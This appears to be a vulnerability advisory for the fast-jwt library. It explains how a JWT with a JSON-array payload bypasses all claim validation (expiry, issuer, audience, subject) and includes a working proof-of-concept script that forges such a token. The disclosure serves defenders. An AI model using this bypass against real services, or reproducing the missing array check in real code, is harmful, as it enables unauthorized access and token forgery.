fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array

// src/decoder.js:49 — header check (correct)
if (!header || typeof header !== 'object' || Array.isArray(header)) {
  throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.')
}

// src/decoder.js:65 — payload check (vulnerable)
if (!payload || typeof payload !== 'object') {     // typeof [] === 'object'
  throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}

Because typeof [] === 'object' in JavaScript, an array payload passes the decoder.

In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only
numeric indices and length):

// src/verifier.js:304-323
for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {
  const value = payload[claim]
  ...
  if (!(claim in payload)) {     // 'exp' in [] === false, 'iss' in [] === false, etc.
    continue                      // every validator silently skipped
  }
  ...
}

Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error
returned to the caller. The verifier returns the array as the payload.

requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is
opt-in and not commonly configured.

GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates
inside the validator loop body and is never reached for this variant.

const { createVerifier } = require('fast-jwt')
const crypto = require('crypto')

const key = 'shared-secret'
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url')
const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url')
const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url')
const token = `${header}.${payload}.${sig}`

const verify = createVerifier({
  key,
  allowedIss: ['legit-issuer'],
  allowedAud: ['legit-audience'],
  allowedSub: ['legit-subject']
  // exp enforcement is on by default
})

console.log(verify(token))
// Output: [ 'attacker', 'role:admin' ]
// No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.

// Control: an object payload with the same garbage claims is correctly rejected:
const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url')
const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url')
verify(`${header}.${bad}.${sig2}`)
// Throws: "The token has expired at 1970-01-01T00:00:01.000Z."

Verified against fast-jwt v6.2.4 (current master, commit a510448).